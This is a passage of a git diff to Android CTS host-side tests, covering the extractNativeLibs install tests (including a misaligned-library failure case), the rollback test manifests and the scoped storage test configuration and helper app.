--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk
Binary files differ
diff --git a/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk.idsig b/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk.idsig
new file mode 100644
index 0000000..c67b2bd
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk.idsig
Binary files differ
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTest.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTest.java
deleted file mode 100644
index 6bfe2f2..0000000
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTest.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.extractnativelibs.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
- * TODO(b/147496159): add more tests.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsExtractNativeLibsHostTest extends BaseHostJUnit4Test {
-    private static final String TEST_NO_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.noextract";
-    private static final String TEST_NO_EXTRACT_CLASS =
-            TEST_NO_EXTRACT_PKG + ".ExtractNativeLibsFalseDeviceTest";
-    private static final String TEST_NO_EXTRACT_TEST = "testNativeLibsNotExtracted";
-    private static final String TEST_NO_EXTRACT_APK = "CtsExtractNativeLibsAppFalse.apk";
-
-    private static final String TEST_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.extract";
-    private static final String TEST_EXTRACT_CLASS =
-            TEST_EXTRACT_PKG + ".ExtractNativeLibsTrueDeviceTest";
-    private static final String TEST_EXTRACT_TEST = "testNativeLibsExtracted";
-    private static final String TEST_EXTRACT_APK = "CtsExtractNativeLibsAppTrue.apk";
-
-    /** Uninstall apps after tests. */
-    @After
-    public void cleanUp() throws Exception {
-        uninstallPackage(getDevice(), TEST_NO_EXTRACT_PKG);
-        uninstallPackage(getDevice(), TEST_EXTRACT_PKG);
-    }
-
-    /** Test with a app that has extractNativeLibs=false. */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibs() throws Exception {
-        installPackage(TEST_NO_EXTRACT_APK);
-        Assert.assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-        Assert.assertTrue(runDeviceTests(
-                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=true. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibs() throws Exception {
-        installPackage(TEST_EXTRACT_APK);
-        Assert.assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
-        Assert.assertTrue(runDeviceTests(
-                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
-    }
-}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
new file mode 100644
index 0000000..9d9aa3b1
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.extractnativelibs.cts;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.FileUtil;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * TODO(b/147496159): add more tests.
+ */
+public class CtsExtractNativeLibsHostTestBase extends BaseHostJUnit4Test {
+    static final String TEST_REMOTE_DIR = "/data/local/tmp/extract_native_libs_test";
+    static final String TEST_APK_RESOURCE_PREFIX = "/prebuilt/";
+    static final String TEST_HOST_TMP_DIR_PREFIX = "cts_extract_native_libs_host_test";
+
+    static final String TEST_NO_EXTRACT_PKG =
+            "com.android.cts.extractnativelibs.app.noextract";
+    static final String TEST_NO_EXTRACT_CLASS =
+            TEST_NO_EXTRACT_PKG + ".ExtractNativeLibsFalseDeviceTest";
+    static final String TEST_NO_EXTRACT_TEST = "testNativeLibsNotExtracted";
+    static final String TEST_NO_EXTRACT_APK = "CtsExtractNativeLibsAppFalse.apk";
+
+    static final String TEST_EXTRACT_PKG =
+            "com.android.cts.extractnativelibs.app.extract";
+    static final String TEST_EXTRACT_CLASS =
+            TEST_EXTRACT_PKG + ".ExtractNativeLibsTrueDeviceTest";
+    static final String TEST_EXTRACT_TEST = "testNativeLibsExtracted";
+    static final String TEST_EXTRACT_APK = "CtsExtractNativeLibsAppTrue.apk";
+    static final String TEST_NO_EXTRACT_MISALIGNED_APK =
+            "CtsExtractNativeLibsAppFalseWithMisalignedLib.apk";
+
+    /** Setup test dir. */
+    @Before
+    public void setUp() throws Exception {
+        getDevice().executeShellCommand("mkdir " + TEST_REMOTE_DIR);
+    }
+    /** Uninstall apps after tests. */
+    @After
+    public void cleanUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_NO_EXTRACT_PKG);
+        uninstallPackage(getDevice(), TEST_EXTRACT_PKG);
+        getDevice().executeShellCommand("rm -r " + TEST_REMOTE_DIR);
+    }
+
+    File getFileFromResource(String filenameInResources)
+            throws Exception {
+        String fullResourceName = TEST_APK_RESOURCE_PREFIX + filenameInResources;
+        File tempDir = FileUtil.createTempDir(TEST_HOST_TMP_DIR_PREFIX);
+        File file = new File(tempDir, filenameInResources);
+        InputStream in = getClass().getResourceAsStream(fullResourceName);
+        if (in == null) {
+            throw new IllegalArgumentException("Resource not found: " + fullResourceName);
+        }
+        OutputStream out = new BufferedOutputStream(new FileOutputStream(file));
+        byte[] buf = new byte[65536];
+        int chunkSize;
+        while ((chunkSize = in.read(buf)) != -1) {
+            out.write(buf, 0, chunkSize);
+        }
+        out.close();
+        return file;
+    }
+
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
new file mode 100644
index 0000000..1fcf345
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * Host test to incremental install test apps and run device tests to verify the effect of
+ * extractNativeLibs.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsExtractNativeLibsHostTestIncremental extends CtsExtractNativeLibsHostTestBase {
+    private static final String IDSIG_SUFFIX = ".idsig";
+
+    @Override
+    public void setUp() throws Exception {
+        assumeTrue(isIncrementalInstallSupported());
+        super.setUp();
+    }
+
+    private boolean isIncrementalInstallSupported() throws Exception {
+        return getDevice().hasFeature("android.software.incremental_delivery");
+    }
+    /** Test with a app that has extractNativeLibs=false using Incremental install. */
+    @Test
+    @AppModeFull
+    public void testNoExtractNativeLibsIncremental() throws Exception {
+        installPackageIncremental(TEST_NO_EXTRACT_APK);
+        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+        assertTrue(runDeviceTests(
+                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
+    }
+
+    /** Test with a app that has extractNativeLibs=true using Incremental install. */
+    @Test
+    @AppModeFull
+    public void testExtractNativeLibsIncremental() throws Exception {
+        installPackageIncremental(TEST_EXTRACT_APK);
+        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
+        assertTrue(runDeviceTests(
+                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
+    }
+
+    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files,
+     *  using Incremental install. */
+    @Test
+    @AppModeFull
+    public void testExtractNativeLibsIncrementalFails() throws Exception {
+        String result = installIncrementalPackageFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
+        assertTrue(result.contains("Failed to extract native libraries"));
+        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+    }
+
+    private void installPackageIncremental(String apkName) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(apkName);
+        assertNotNull(apk);
+        final File v4Signature = buildHelper.getTestFile(apkName + IDSIG_SUFFIX);
+        assertNotNull(v4Signature);
+        installPackageIncrementalFromFiles(apk, v4Signature);
+    }
+
+    private String installPackageIncrementalFromFiles(File apk, File v4Signature) throws Exception {
+        final String remoteApkPath = TEST_REMOTE_DIR + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + IDSIG_SUFFIX;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(v4Signature, remoteIdsigPath));
+        return getDevice().executeShellCommand("pm install-incremental -t -g " + remoteApkPath);
+    }
+
+    private String installIncrementalPackageFromResource(String apkFilenameInRes)
+            throws Exception {
+        final File apkFile = getFileFromResource(apkFilenameInRes);
+        final File v4SignatureFile = getFileFromResource(
+                apkFilenameInRes + IDSIG_SUFFIX);
+        return installPackageIncrementalFromFiles(apkFile, v4SignatureFile);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
new file mode 100644
index 0000000..ff58ee6
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+/**
+ * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsExtractNativeLibsHostTestLegacy extends CtsExtractNativeLibsHostTestBase {
+    /** Test with a app that has extractNativeLibs=false. */
+    @Test
+    @AppModeFull
+    public void testNoExtractNativeLibsLegacy() throws Exception {
+        installPackage(TEST_NO_EXTRACT_APK);
+        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+        assertTrue(runDeviceTests(
+                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
+    }
+
+    /** Test with a app that has extractNativeLibs=true. */
+    @Test
+    @AppModeFull
+    public void testExtractNativeLibsLegacy() throws Exception {
+        installPackage(TEST_EXTRACT_APK);
+        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
+        assertTrue(runDeviceTests(
+                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
+    }
+
+    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files */
+    @Test
+    @AppModeFull
+    public void testNoExtractNativeLibsFails() throws Exception {
+        File apk = getFileFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
+        String result = getDevice().installPackage(apk, false, true, "");
+        assertTrue(result.contains("Failed to extract native libraries"));
+        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+    }
+
+}
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 9d4d5d2..71cf5c1 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -17,7 +17,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.rollback.host.app" >
 
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <queries>
+        <package android:name="com.android.cts.ctsshim" />
+        <package android:name="com.android.cts.priv.ctsshim" />
+    </queries>
+
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
diff --git a/hostsidetests/rollback/app2/AndroidManifest.xml b/hostsidetests/rollback/app2/AndroidManifest.xml
index 3105857..be6d483 100644
--- a/hostsidetests/rollback/app2/AndroidManifest.xml
+++ b/hostsidetests/rollback/app2/AndroidManifest.xml
@@ -17,7 +17,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.rollback.host.app2" >
 
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 1d4b77a..1a1a7f9 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -15,28 +15,28 @@
 android_test_helper_app {
     name: "CtsScopedStorageTestAppA",
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
     manifest: "ScopedStorageTestHelper/TestAppC.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
     manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
-    static_libs: ["androidx.test.rules", "cts-scopedstorage-lib"],
+    static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     target_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
@@ -46,9 +46,9 @@
     name: "ScopedStorageTest",
     manifest: "AndroidManifest.xml",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "cts-scopedstorage-lib"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts"],
+    test_suites: ["general-tests", "mts", "cts"],
     sdk_version: "test_current",
     java_resources: [
         ":CtsScopedStorageTestAppA",
@@ -61,9 +61,9 @@
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
-    static_libs: ["androidx.test.rules", "truth-prebuilt",  "cts-scopedstorage-lib"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts"],
+    test_suites: ["general-tests", "mts", "cts"],
     sdk_version: "test_current",
     target_sdk_version: "29",
     java_resources: [
@@ -74,8 +74,15 @@
 java_test_host {
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed"],
-    static_libs: ["testng"],
-    test_suites: ["general-tests", "mts"],
+    libs: ["tradefed", "testng"],
+    test_suites: ["general-tests", "mts", "cts"],
     test_config: "AndroidTest.xml",
 }
+
+java_test_host {
+    name: "CtsScopedStoragePublicVolumeHostTest",
+    srcs: ["host/src/**/*.java"],
+    libs: ["tradefed", "testng"],
+    test_suites: ["general-tests", "mts"],
+    test_config: "PublicVolumeTest.xml",
+}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 64599d8..43208ac 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -15,6 +15,10 @@
 -->
 <configuration description="External storage host test for legacy and scoped storage">
     <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
@@ -23,6 +27,7 @@
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.ScopedStorageInstantAppHostTest" />
     </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/hostsidetests/scopedstorage/PublicVolumeTest.xml b/hostsidetests/scopedstorage/PublicVolumeTest.xml
new file mode 100644
index 0000000..8bd3361
--- /dev/null
+++ b/hostsidetests/scopedstorage/PublicVolumeTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="External storage host test that runs on a public volume">
+    <option name="test-suite-tag" value="cts" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ScopedStorageTest.apk" />
+        <option name="test-file-name" value="LegacyStorageTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.scopedstorage.cts.host.PublicVolumeHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.PublicVolumeLegacyHostTest" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 86a7096..0c8fd61 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -18,6 +18,7 @@
 import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
 import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
@@ -27,16 +28,22 @@
 import static android.scopedstorage.cts.lib.TestUtils.QUERY_TYPE;
 import static android.scopedstorage.cts.lib.TestUtils.READDIR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
 import android.app.Activity;
 import android.content.Intent;
+import android.content.ContentValues;
 import android.os.Bundle;
-import android.os.Environment;
+import android.provider.MediaStore;
+
+import androidx.annotation.Nullable;
 
 import java.io.File;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Collections;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Helper app for ScopedStorageTest.
@@ -46,8 +53,13 @@
  */
 public class ScopedStorageTestHelper extends Activity {
     private static final String TAG = "ScopedStorageTestHelper";
-    private static final File ANDROID_DIR =
-            new File(Environment.getExternalStorageDirectory(), "Android");
+    /**
+     * Regex that matches paths in all well-known package-specific directories,
+     * and which captures the directory type as the first group (data|media|obb) and the
+     * package name as the 2nd group.
+     */
+    private static final Pattern PATTERN_OWNED_PATH = Pattern.compile(
+            "(?i)^/storage/[^/]+/(?:[0-9]+/)?Android/(data|media|obb)/([^/]+)(/?.*)?");
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -70,6 +82,9 @@
                 case EXIF_METADATA_QUERY:
                     returnIntent = sendMetadata(queryType);
                     break;
+                case CREATE_IMAGE_ENTRY_QUERY:
+                    returnIntent = createImageEntry(queryType);
+                    break;
                 case "null":
                 default:
                     throw new IllegalStateException(
@@ -117,6 +132,28 @@
         }
     }
 
+    private Intent createImageEntry(String queryType) throws Exception {
+        if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            final String path = getIntent().getStringExtra(INTENT_EXTRA_PATH);
+            final String relativePath = path.substring(0, path.lastIndexOf('/'));
+            final String name = path.substring(path.lastIndexOf('/') + 1);
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+            values.put(MediaStore.Images.Media.RELATIVE_PATH, relativePath);
+            values.put(MediaStore.Images.Media.DISPLAY_NAME, name);
+
+            getContentResolver().insert(getImageContentUri(), values);
+
+            final Intent intent = new Intent(queryType);
+            intent.putExtra(queryType, true);
+            return intent;
+        } else {
+            throw new IllegalStateException(
+                    CREATE_IMAGE_ENTRY_QUERY + ": File path not set from launcher app");
+        }
+    }
+
     private Intent accessFile(String queryType) throws IOException {
         if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
             final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
@@ -143,17 +180,14 @@
     }
 
     private void maybeCreateParentDirInAndroid(File file) {
-        if (!file.getAbsolutePath().startsWith(ANDROID_DIR.getAbsolutePath())) {
+        final String ownedPathType = getOwnedDirectoryType(file);
+        if (ownedPathType == null) {
             return;
         }
-        String[] segments = file.getAbsolutePath().split("/");
-        int index = ANDROID_DIR.getAbsolutePath().split("/").length;
-        if (index < segments.length) {
-            // Create the external app dir first.
-            if (createExternalAppDir(segments[index])) {
-                // Then create everything along the path.
-                file.getParentFile().mkdirs();
-            }
+        // Create the external app dir first.
+        if (createExternalAppDir(ownedPathType)) {
+            // Then create everything along the path.
+            file.getParentFile().mkdirs();
         }
     }
 
@@ -162,13 +196,11 @@
         // expected to call one of the following methods.
         switch (name) {
             case "data":
-                getApplicationContext().getExternalFilesDir(null);
-                return true;
-            case "cache":
-                getApplicationContext().getExternalCacheDir();
+                getApplicationContext().getExternalFilesDirs(null);
+                getApplicationContext().getExternalCacheDirs();
                 return true;
             case "obb":
-                getApplicationContext().getObbDir();
+                getApplicationContext().getObbDirs();
                 return true;
             case "media":
                 getApplicationContext().getExternalMediaDirs();
@@ -177,4 +209,16 @@
                 return false;
         }
     }
+
+    /**
+     * Returns null if given path is not an owned path.
+     */
+    @Nullable
+    private static String getOwnedDirectoryType(File path) {
+        final Matcher m = PATTERN_OWNED_PATH.matcher(path.getAbsolutePath());
+        if (m.matches()) {
+            return m.group(1);
+        }
+        return null;
+    }
 }
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
new file mode 100644
index 0000000..3f87702
--- /dev/null
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -0,0 +1,10 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsScopedStorageHostTest"
+    },
+    {
+      "name": "CtsScopedStoragePublicVolumeHostTest"
+    }
+  ]
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 20da224..8729f9b 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -20,6 +20,8 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.platform.test.annotations.AppModeFull;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -32,9 +34,8 @@
  * Runs the legacy file path access tests.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
 public class LegacyStorageHostTest extends BaseHostJUnit4Test {
-    public static final String SHELL_FILE = "/sdcard/LegacyAccessHostTest_shell";
-
     private boolean isExternalStorageSetup = false;
 
     private String executeShellCommand(String cmd) throws Exception {
@@ -45,7 +46,7 @@
      * Runs the given phase of LegacyFileAccessTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
-    private void runDeviceTest(String phase) throws Exception {
+    void runDeviceTest(String phase) throws Exception {
         assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
                 "android.scopedstorage.cts.legacy.LegacyStorageTest", phase));
     }
@@ -115,35 +116,20 @@
     @Test
     public void testReadOnlyExternalStorage_hasR() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
-        createFileAsShell(SHELL_FILE);
-        try {
-            runDeviceTest("testReadOnlyExternalStorage_hasR");
-        } finally {
-            executeShellCommand("rm " + SHELL_FILE);
-        }
+        runDeviceTest("testReadOnlyExternalStorage_hasR");
     }
 
     @Test
     public void testCantAccessExternalStorage() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
                 "android.permission.READ_EXTERNAL_STORAGE");
-        createFileAsShell(SHELL_FILE);
-        try {
-            runDeviceTest("testCantAccessExternalStorage");
-        } finally {
-            executeShellCommand("rm " + SHELL_FILE);
-        }
+        runDeviceTest("testCantAccessExternalStorage");
     }
 
     @Test
     public void testListFiles_hasR() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
-        createFileAsShell(SHELL_FILE);
-        try {
-            runDeviceTest("testListFiles_hasR");
-        } finally {
